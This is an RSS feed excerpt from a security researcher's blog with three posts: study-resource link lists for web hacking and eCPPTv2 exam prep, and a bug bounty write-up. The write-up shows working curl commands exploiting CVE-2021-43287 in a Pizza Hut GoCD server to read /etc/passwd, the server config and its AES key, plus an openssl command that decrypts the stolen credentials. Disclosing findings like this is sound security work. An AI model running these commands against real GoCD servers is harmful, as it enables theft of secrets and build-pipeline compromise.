<li><p><a target="_blank" href="https://www.hackingarticles.in/beginner-guide-sql-injection-boolean-based-part-2/">https://www.hackingarticles.in/beginner-guide-sql-injection-boolean-based-part-2/</a></p>
</li>
<li><p><a target="_blank" href="https://www.hackingloops.com/boolean-exploitation-technique-to/">https://www.hackingloops.com/boolean-exploitation-technique-to/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=MfDo_ssS4PY">https://www.youtube.com/watch?v=MfDo_ssS4PY</a></p>
</li>
<li><p><a target="_blank" href="https://null-byte.wonderhowto.com/forum/explotation-blind-boolean-based-sql-injection-by-mohamed-ahmed-0179938/">https://null-byte.wonderhowto.com/forum/explotation-blind-boolean-based-sql-injection-by-mohamed-ahmed-0179938/</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses">https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses</a> (lab!)</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors">https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors</a> (lab!)</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays">https://portswigger.net/web-security/sql-injection/blind/lab-time-delays</a> (lab!)</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval">https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval</a> (lab!)</p>
</li>
</ul>
<p><strong>Error-Based SQL Injection</strong></p>
<ul>
<li><p><a target="_blank" href="https://medium.com/@hninja049/example-of-a-error-based-sql-injection-dce72530271c">https://medium.com/@hninja049/example-of-a-error-based-sql-injection-dce72530271c</a></p>
</li>
<li><p><a target="_blank" href="https://gbhackers.com/manual-sql-injection/">https://gbhackers.com/manual-sql-injection/</a></p>
</li>
<li><p><a target="_blank" href="https://rstudio-pubs-static.s3.amazonaws.com/117265_97cc9bec3f4a4952b37369ade413e435.html">https://rstudio-pubs-static.s3.amazonaws.com/117265_97cc9bec3f4a4952b37369ade413e435.html</a></p>
</li>
<li><p><a target="_blank" href="https://akimbocore.com/article/sql-injection-exploitation-error-based/">https://akimbocore.com/article/sql-injection-exploitation-error-based/</a></p>
</li>
</ul>
<p><strong>Time-Based SQL Injection</strong></p>
<ul>
<li><p><a target="_blank" href="https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html">https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=xHzH00vyVHA">https://www.youtube.com/watch?v=xHzH00vyVHA</a></p>
</li>
<li><p><a target="_blank" href="http://www.securityidiots.com/Web-Pentest/SQL-Injection/time-based-blind-injection.html">http://www.securityidiots.com/Web-Pentest/SQL-Injection/time-based-blind-injection.html</a></p>
</li>
</ul>
<h3 id="heading-file-upload-exploitation">File Upload Exploitation</h3>
<p><em>\</em>cough<em>\</em> <em>I highly suggest you become a guru here. \</em>cough<em>\</em> <em>;-)</em></p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload">https://portswigger.net/web-security/file-upload</a></p>
</li>
<li><p><a target="_blank" href="https://www.prplbx.com/resources/blog/exploiting-file-upload-vulnerabilities/">https://www.prplbx.com/resources/blog/exploiting-file-upload-vulnerabilities/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=rPdn88pO7x0">https://www.youtube.com/watch?v=rPdn88pO7x0</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=b6R_DRT5CqQ">https://www.youtube.com/watch?v=b6R_DRT5CqQ</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload">https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload</a> (lab!)</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass">https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass</a> (lab!)</p>
</li>
</ul>
<h3 id="heading-session-hijacking">Session Hijacking</h3>
<ul>
<li><p><a target="_blank" href="https://www.thesslstore.com/blog/the-ultimate-guide-to-session-hijacking-aka-cookie-hijacking/">https://www.thesslstore.com/blog/the-ultimate-guide-to-session-hijacking-aka-cookie-hijacking/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=z6nUbsY5B-w">https://www.youtube.com/watch?v=z6nUbsY5B-w</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=T1QEs3mdJoc">https://www.youtube.com/watch?v=T1QEs3mdJoc</a></p>
</li>
<li><p><a target="_blank" href="https://resources.infosecinstitute.com/topic/session-hijacking-cheat-sheet/">https://resources.infosecinstitute.com/topic/session-hijacking-cheat-sheet/</a></p>
</li>
</ul>
<h3 id="heading-enumeration">Enumeration</h3>
<p><strong>Subdomain Brute Forcing</strong></p>
<ul>
<li><p><a target="_blank" href="https://infinitelogins.com/2020/09/02/bruteforcing-subdomains-wfuzz/">https://infinitelogins.com/2020/09/02/bruteforcing-subdomains-wfuzz/</a></p>
</li>
<li><p><a target="_blank" href="https://sidxparab.gitbook.io/subdomain-enumeration-guide/active-enumeration/dns-bruteforcing">https://sidxparab.gitbook.io/subdomain-enumeration-guide/active-enumeration/dns-bruteforcing</a></p>
</li>
<li><p><a target="_blank" href="https://pentester.land/blog/subdomains-enumeration-cheatsheet/">https://pentester.land/blog/subdomains-enumeration-cheatsheet/</a></p>
</li>
<li><p><a target="_blank" href="https://0xffsec.com/handbook/information-gathering/subdomain-enumeration/#google-dorking">https://0xffsec.com/handbook/information-gathering/subdomain-enumeration/#google-dorking</a></p>
</li>
</ul>
<p><strong>Directory Busting</strong></p>
<ul>
<li><p><a target="_blank" href="https://medium.com/@nynan/bug-bounty-recon-content-discovery-efficiency-pays-2ec2462532b1">https://medium.com/@nynan/bug-bounty-recon-content-discovery-efficiency-pays-2ec2462532b1</a></p>
</li>
<li><p><a target="_blank" href="https://www.hackerone.com/ethical-hacker/how-recon-and-content-discovery">https://www.hackerone.com/ethical-hacker/how-recon-and-content-discovery</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=p4JgIu1mceI">https://www.youtube.com/watch?v=p4JgIu1mceI</a></p>
</li>
<li><p><a target="_blank" href="https://www.hackingarticles.in/5-ways-directory-bruteforcing-web-server/">https://www.hackingarticles.in/5-ways-directory-bruteforcing-web-server/</a></p>
</li>
<li><p><a target="_blank" href="https://sushant747.gitbooks.io/total-oscp-guide/content/web-scanning.html">https://sushant747.gitbooks.io/total-oscp-guide/content/web-scanning.html</a></p>
</li>
</ul>
<h3 id="heading-lowinformational-vulnerabilities">Low/Informational Vulnerabilities</h3>
<ul>
<li><p><a target="_blank" href="https://www.imperva.com/learn/application-security/clickjacking/">https://www.imperva.com/learn/application-security/clickjacking/</a></p>
</li>
<li><p><a target="_blank" href="https://www.geeksforgeeks.org/session-fixation-attack/">https://www.geeksforgeeks.org/session-fixation-attack/</a></p>
</li>
<li><p>Missing Cookie Attributes (use Nikto! <a target="_blank" href="https://cirt.net/Nikto2">https://cirt.net/Nikto2</a>)</p>
</li>
<li><p>No Rate Limiting? <a target="_blank" href="https://gaya3-r.medium.com/no-rate-limiting-on-form-registration-login-email-triggering-sms-triggering-5961b64a91cb">https://gaya3-r.medium.com/no-rate-limiting-on-form-registration-login-email-triggering-sms-triggering-5961b64a91cb</a></p>
</li>
</ul>
<h3 id="heading-report-template">Report Template</h3>
<ul>
<li><a target="_blank" href="https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report">https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report</a></li>
</ul>
<p>Wrapping up this post, my report turned out to be 102 pages, granted, it had a TON of screenshots, and I reported every finding I found. I wanted to be as thorough as possible, as this exam focuses heavily on being a "live" pentest, and the report writing element. <strong>You can crush the practical exam, but if you submit a bad report, they will fail you. <em>Please for the love of god, focus on the report quality</em>!</strong></p>
<p>All in all, I feel the exam is laid out pretty well, granted some of the exploits are starting to become a bit obsolete, but I was still banging my head against the keyboard.</p>
<p><strong>Remember... eat. sleep. shower. go outside. <em>(without your hoodie)</em></strong></p>
<p>You have 7 days to hack everything and reach the Admin area, and another 7 days to write a professional report, which I feel is more than enough time to complete. I did the hands-on part in roughly 2 days. However, to be fair, this is my career, which is solely focused on web exploitation.</p>
<p>eLearnSecurity, responded in 24 hours after I submitted my report!</p>
<p>I hope I was able to provide some value for you guys and gals. If you have any questions, please reach out to me on Twitter: <a target="_blank" href="https://twitter.com/grumpzsux">@grumpzsux</a></p>
<p>Hack the planet, my fellow basement dwellers.</p>
<p>-GRuMPz</p>
]]></content:encoded></item><item><title><![CDATA[Pass the eCPPTv2 Exam on Your First Attempt in 2022]]></title><description><![CDATA[I started my journey with practical certifications in the Cyber Security world because I have been trying to pivot careers after being in technical sales in the Fintech space for nearly a decade.
After obtaining my eJPT and eCPPTv2 certifications, I ...]]></description><link>https://grumpz.net/pass-the-ecpptv2-exam-on-your-first-attempt-in-2022</link><guid isPermaLink="true">https://grumpz.net/pass-the-ecpptv2-exam-on-your-first-attempt-in-2022</guid><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[Beginner Developers]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Tue, 15 Mar 2022 23:21:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/w7ZyuGYNpRQ/upload/v1647372302047/aRwZJpi-tB.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I started my journey with practical certifications in the Cyber Security world because I have been trying to pivot careers after being in technical sales in the Fintech space for nearly a decade.</p>
<p>After obtaining my eJPT and eCPPTv2 certifications, I am proud to announce that I am now an Information Security Analyst for Synack on their Vulnerability Operations team.</p>
<p>With that being said, I wanted to talk through my journey on how I managed to pass the eCPPTv2 exam on my first try, without using any of the INE resources.</p>
<p><strong>Yes, it can be done! How bad do you want it?</strong></p>
<p><em>(proof of my certification if you don't believe me haha)</em>
<a target="_blank" href="https://verified.elearnsecurity.com/certificates/2dabc4f1-6fbe-4e6f-bc65-3f26368e9da9">https://verified.elearnsecurity.com/certificates/2dabc4f1-6fbe-4e6f-bc65-3f26368e9da9</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647373307453/IebtKZ7of.png" alt="image.png" /></p>
<p>Let's start off with the obvious. If you passed your eJPT, and think it is a similar exam, I promise you, you will be in for a very unpleasant surprise. The eCPPTv2 exam is similar to the OSCP in my opinion aside from the obvious, which is being able to use any tool that you want, and that you have 7 days to hack all the targets.</p>
<p>If you are not comfortable with pivoting through multiple subnets, privilege escalation methods for Linux and Windows, identifying buffer overflows and writing a script to exploit the buffer overflow, along with detailed professional report writing, I highly suggest you follow the material I list out below.</p>
<p>I used a mix of paid and free resources to study, and to be honest, you could get away with passing this exam without spending a dime in study material if you are really committed.</p>
<p>The best way I can add value to the community is be providing the resources I used to pass the exam. I suggest that you use the following resources as your bible when it comes to preparing for the eCPPTv2 exam, and I can almost guarantee you will pass.  </p>
<p><em>Side Note: Please do <strong>NOT</strong> reach out to me if you think I will give you the answers for the exam. I felt the pain, you will feel the pain too. Don't be a lazy n00b.</em></p>
<p>Let's get this show on the road boys and gals!</p>
<p><strong>Privilege Escalation Resources:</strong></p>
<ul>
<li>Linux Privilege Escalation for Beginners by TCM Security (PAID): 
<a target="_blank" href="https://academy.tcm-sec.com/p/linux-privilege-escalation">https://academy.tcm-sec.com/p/linux-privilege-escalation</a></li>
<li>Windows Privilege Escalation for Beginners by TCM Security (PAID):
<a target="_blank" href="https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners">https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners</a></li>
<li>TryHackMe Room LazyAdmin (FREE!):
<a target="_blank" href="https://tryhackme.com/room/lazyadmin">https://tryhackme.com/room/lazyadmin</a></li>
<li>TryHackMe Room LinuxPrivEsc (FREE!):
<a target="_blank" href="https://tryhackme.com/room/linuxprivesc">https://tryhackme.com/room/linuxprivesc</a></li>
<li>TryHackMe Room Empline (FREE!):
<a target="_blank" href="https://tryhackme.com/room/empline">https://tryhackme.com/room/empline</a></li>
<li>TryHackMe Room Windows PrivEsc (FREE!):
<a target="_blank" href="https://tryhackme.com/room/windows10privesc">https://tryhackme.com/room/windows10privesc</a></li>
</ul>
<p><strong>Pivoting Resources:</strong></p>
<ul>
<li>TryHackMe Room Wreath (FREE!):
<a target="_blank" href="https://tryhackme.com/room/wreath">https://tryhackme.com/room/wreath</a></li>
<li>TryHackMe Room VulnNet: Internal (FREE!):
<a target="_blank" href="https://tryhackme.com/room/vulnnetinternal">https://tryhackme.com/room/vulnnetinternal</a></li>
<li>Explore Hidden Networks with Double Pivoting (FREE!):
<a target="_blank" href="https://pentest.blog/explore-hidden-networks-with-double-pivoting/">https://pentest.blog/explore-hidden-networks-with-double-pivoting/</a></li>
<li>Pivoting with Metasploit (FREE!):
<a target="_blank" href="https://arf-sec.com/?p=99">https://arf-sec.com/?p=99</a></li>
<li>Network Pivoting with Metasploit and Proxychains (FREE!):
<a target="_blank" href="https://blog.pentesteracademy.com/network-pivoting-using-metasploit-and-proxychains-c04472f8eed0">https://blog.pentesteracademy.com/network-pivoting-using-metasploit-and-proxychains-c04472f8eed0</a></li>
</ul>
<p><strong>Buffer Overflow Resources:</strong></p>
<ul>
<li>TryHackMe Room Gatekeeper (FREE!):
<a target="_blank" href="https://tryhackme.com/room/gatekeeper">https://tryhackme.com/room/gatekeeper</a></li>
<li>TryHackMe Room Buffer Overflow Prep (FREE!):
<a target="_blank" href="https://tryhackme.com/room/bufferoverflowprep">https://tryhackme.com/room/bufferoverflowprep</a></li>
<li>Practical Ethical Hacking - The Complete Course (PAID!):
<a target="_blank" href="https://academy.tcm-sec.com/p/practical-ethical-hacking-the-complete-course">https://academy.tcm-sec.com/p/practical-ethical-hacking-the-complete-course</a></li>
<li>The Braindead Buffer Overflow Guide to Pass the OSCP Blindfolded (FREE!):
<a target="_blank" href="https://boschko.ca/braindead-buffer-overflow-guide-to-pass-the-oscp-blindfolded/">https://boschko.ca/braindead-buffer-overflow-guide-to-pass-the-oscp-blindfolded/</a></li>
<li>Buffer Overflows Made Easy (FREE!):
<a target="_blank" href="https://tcm-sec.com/buffer-overflows-made-easy/">https://tcm-sec.com/buffer-overflows-made-easy/</a></li>
</ul>
<p><strong>Metasploit / MSFVenom Resources:</strong></p>
<ul>
<li>TryHackMe Room Metasploit (FREE!):
<a target="_blank" href="https://tryhackme.com/room/rpmetasploit">https://tryhackme.com/room/rpmetasploit</a></li>
<li>TryHackMe Room Metasploit: Introduction (FREE!):
<a target="_blank" href="https://tryhackme.com/room/metasploitintro">https://tryhackme.com/room/metasploitintro</a></li>
<li>MSFVenom Cheatsheet - Easy way to create metasploit payloads (FREE!):
<a target="_blank" href="https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/">https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/</a></li>
<li>Meterpreter Cheatsheet (FREE!):
<a target="_blank" href="https://pentestwiki.org/metasploit-meterpreter-cheat-sheet/">https://pentestwiki.org/metasploit-meterpreter-cheat-sheet/</a></li>
<li>Metasploit Cheatsheet (FREE!):
<a target="_blank" href="https://nitesculucian.github.io/2018/12/01/metasploit-cheat-sheet/">https://nitesculucian.github.io/2018/12/01/metasploit-cheat-sheet/</a></li>
</ul>
<p><strong>Misc. Resources:</strong></p>
<ul>
<li>Hakluke's Ultimate OSCP Guide: Part 3 - Practical Hacking Tips and Tricks (FREE!):
<a target="_blank" href="https://hakluke.medium.com/haklukes-ultimate-oscp-guide-part-3-practical-hacking-tips-and-tricks-c38486f5fc97">https://hakluke.medium.com/haklukes-ultimate-oscp-guide-part-3-practical-hacking-tips-and-tricks-c38486f5fc97</a></li>
<li>OSCP Enumeration Cheatsheet (FREE!):
<a target="_blank" href="https://github.com/oncybersec/oscp-enumeration-cheat-sheet">https://github.com/oncybersec/oscp-enumeration-cheat-sheet</a></li>
<li>Liodeus Personal OSCP Cheatsheet (FREE!):
<a target="_blank" href="https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html">https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html</a></li>
<li>TryHackMe Room Web Enumeration (FREE!):
<a target="_blank" href="https://tryhackme.com/room/webenumerationv2">https://tryhackme.com/room/webenumerationv2</a></li>
<li>Post Exploitation Cheatsheet (FREE!):
<a target="_blank" href="https://oscp.securable.nl/post-exploitation">https://oscp.securable.nl/post-exploitation</a></li>
<li>Post Exploitation Cheatsheet (FREE!):
https://oscp.infosecsanyam.in/post-exploitation</li>
<li>SQLmap Tutorial (FREE!):
<a target="_blank" href="https://www.binarytides.com/sqlmap-hacking-tutorial/">https://www.binarytides.com/sqlmap-hacking-tutorial/</a></li>
</ul>
<p><strong>Report Writing Resources:</strong></p>
<ul>
<li>TCM Security Sample Pentest Report (FREE!):
<a target="_blank" href="https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report">https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report</a></li>
</ul>
<p>Before I end by write up, I want to leave you with a few personal tips of mine. I hope they are helpful for you. </p>
<ol>
<li>Make sure that you screenshot everything, from enumeration, too exploitation. I created folders for each machine by IP address and stored every screenshot in there.</li>
<li>If an exploit doesn't work for you, try different payloads. You have hundreds of payloads available to you, just because your reverse shell doesn't work, doesn't mean your exploit didn't.</li>
<li>Enumerate EVERYTHING. Continue to enumerate through each phase of your methodology. </li>
<li>Post exploitation is KEY. Be diligent, dig through everything. You never know what you might find that will help you to get to the next box, subnet, etc.</li>
<li>Do not underestimate the report. People have failed solely on the report. In my opinion I struggled more on the report than I did the actual pentest. Remember this is a mock professional pentest, I highly suggest you treat this as if you are working with a live client.</li>
<li>Take breaks. Sleep. Eat. Shower.</li>
<li>If you are stuck, google. I did. I dug deep!</li>
</ol>
<p>Wrapping this up, my report was around 70 pages, mainly because I walked through every step of the exploit, provided screenshots for each step, and I provided detailed remediation steps. Please for the love god, pay special attention to your report. Add everything you find, I don't care if it's a reflected XSS, add it in the report. Treat this report and exam like a live client.</p>
<p>eLearn Security laid out this exam really well. I actually enjoyed it even though I was banging my head on the keyboard somewhat frequently. You have 7 days to complete the hacking portion which is MORE than enough time to do it. They also provide an additional 7 days to complete the report, I would savior every moment of it. I did.</p>
<p>It took eLearn Security around 14 days to get back to me with my results.</p>
<p>If you have any questions, please feel free to reach out to me on twitter: https://twitter.com/grumpzsux</p>
<p>I hope this was helpful. Hack the planet nerds.</p>
]]></content:encoded></item><item><title><![CDATA[Pizza Hut DevOps Hate Me. Yet Love Me? - A Bug Bounty Story]]></title><description><![CDATA[While doing some basic recon, and digging through subdomains on various targets on different bug bounty platforms and VDP's, I came across something interesting hanging around on the Pizza Hut domain that peaked my interest.
Looking at the authentica...]]></description><link>https://grumpz.net/pizza-hut-devops-hate-me-yet-love-me-a-bug-bounty-story</link><guid isPermaLink="true">https://grumpz.net/pizza-hut-devops-hate-me-yet-love-me-a-bug-bounty-story</guid><category><![CDATA[Security]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[hack]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Tue, 15 Mar 2022 01:21:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/4hbJ-eymZ1o/upload/v1647304297427/1rzmiMPbN.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>While doing some basic recon, and digging through subdomains on various targets on different bug bounty platforms and VDP's, I came across something interesting hanging around on the Pizza Hut domain that peaked my interest.</p>
<p>Looking at the authentication page, I realized it was an instance of GoCD a popular CI/CD solution, in my opinion a critical piece of infrastructure because if you are looking to automate your build and release processes, a centralized CI/CD solution has access to various production environment's including private source code repositories.</p>
<p>After researching more about GoCD I found that there is a vulnerability that lets unauthenticated attackers leak highly sensitive information from a vulnerable GoCD server instance, including all all encrypted secrets stored on the server (CVE-2021-43287).</p>
<p>**Lucky me, they were running a vulnerable version. **</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647305345638/6d1LmPSnN.png" alt="image.png" /></p>
<p>All GoCD instances within the version range v20.6.0 to v21.2.0 are impacted.</p>
<p>The first thing I decided to check for is a known Local File Inclusion vulnerability to see if I was able to access the /etc/passwd file.</p>
<pre><code class="lang-yaml"><span class="hljs-string">curl</span> <span class="hljs-string">-v</span> <span class="hljs-string">"http://[REDACTED].pizzahut.com/go/add-on/business-continuity/api/plugin?folderName=&amp;pluginName=../../../etc/passwd"</span>
</code></pre>
<p>Well that was easy, now that I know the LFI is active, let's try to grab the <strong>cruise_config</strong> file.</p>
<p>The cruise_config file is essentially the GoCD server configuration file that contains all the juicy secrets that we leet h4x0rs get excited for.</p>
<pre><code class="lang-yaml"><span class="hljs-string">curl</span> <span class="hljs-string">-v</span> <span class="hljs-string">"http://[REDACTED].pizzahut.com/go/add-on/business-continuity/api/cruise_config"</span>
</code></pre>
<p>When I received the response, I was blown away as to what I found. From various encrypted hosts, api keys, username/password combos for multiple production environments. The keys to the kingdom!</p>
<p>However, everything was encrypted with AES, so my excitement was short lived.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647306421320/N4-Qobros.png" alt="image.png" /></p>
<p>After continuing my research and looking for a way to find the encryption key that was used, I literally laughed out loud as to how simple it was to find the key. It was a simple curl request for a file in the SAME directory called <strong>cipher.aes</strong>.</p>
<pre><code class="lang-yaml"><span class="hljs-string">curl</span> <span class="hljs-string">-v</span> <span class="hljs-string">"http://[REDACTED].pizzahut.com/go/add-on/business-continuity/api/cipher.aes"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647306624056/_F0K4heiQ.png" alt="image.png" /></p>
<p>After collecting myself, I decided to go through the cruise_config file and decrypt a few things to confirm that I in fact had the valid encryption key. I decided to take a peak at their sFTP credentials. I decided to use openssl to start decrypting the credentials.</p>
<pre><code class="lang-yaml"><span class="hljs-string">openssl</span> <span class="hljs-string">aes-128-cbc</span> <span class="hljs-string">-d</span> <span class="hljs-string">-a</span> <span class="hljs-string">-K</span> [<span class="hljs-string">CIPHER.AES_KEY_HERE</span>] <span class="hljs-string">-iv</span> <span class="hljs-string">$(xxd</span> <span class="hljs-string">-p</span> <span class="hljs-string">&lt;(base64</span> <span class="hljs-string">-d</span> <span class="hljs-string">&lt;&lt;&lt;[ENCRYPTED_CREDS_HERE]))</span> <span class="hljs-string">&lt;&lt;&lt;[ENCRYPTED_CREDS_HERE]</span>
</code></pre>
<p>Welp.. I now have access to EVERYTHING.</p>
<p>However, the impact here is far greater than having access to everything used in the cruise_config file.</p>
<p>There is also an auto register key that allows you to register a rogue agent to inject your code directly into the build pipelines and create a true supply chain attack, just like what happened to Solarwinds.</p>
<p>This wraps my first valid finding during my bug bounty hunting career!</p>
<p>For more information about Pre-Auth Takeover of Build Pipelines in GoCD (CVE-2021-43287), I found the Rapid7 Analysis extremely helpful: <a target="_blank" href="Link">https://attackerkb.com/topics/ShpnUFlqDz/pre-auth-takeover-of-build-pipelines-in-gocd-cve-2021-43287/rapid7-analysis?referrer=search</a></p>
]]></content:encoded></item></channel></rss>